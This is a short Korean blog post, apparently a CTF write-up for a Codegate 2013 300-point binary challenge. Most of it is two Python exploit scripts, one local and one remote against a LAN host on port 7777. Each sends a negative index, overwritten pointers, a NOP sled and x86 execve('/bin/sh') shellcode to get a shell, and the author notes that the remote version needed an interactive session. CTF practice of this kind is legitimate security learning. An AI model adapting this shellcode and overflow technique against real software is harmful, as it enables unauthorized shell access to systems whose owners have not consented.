문제가 갈수록 더 쉬워지는 기분이다;

100, 200, 300점 순서를 바꿔야 할 것 같다.

이 문제는 또 이상한게 분명히 xinetd 로 돌려서 익스플로잇을 해 봤는데, 똑같은 코드를 그대로 로컬에서 돌리면 쉘이 잘 따이는데

리모트로 공격하면 아무리 해도 안되길래 둘 다 올려둔다.

혹시라도 왜 그런지 아는 사람은 답을 주시면 감사하겠습니다.

멍청하게 찡찡댔었다.

interact를 안하다니...아직도 멀었구나.


1
2
3
4
5
6
7
8
9
10
11
12
13
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
 
payload = "-4\n"+p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
os.system('(echo "'+payload+'";cat)|./cg13_300')
cs

Local Exploit



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
HOST = '192.168.136.180'
PORT = 7777
 
#===============================================
buf = 0x080491E0
shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# execve("/bin/sh", ["/bin/sh", 0], 0);
#===============================================
payload = p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
print sock.recv(1024)
sock.send('-4\n'+payload)
sleep(4)
print sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs

Remote Exploit

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,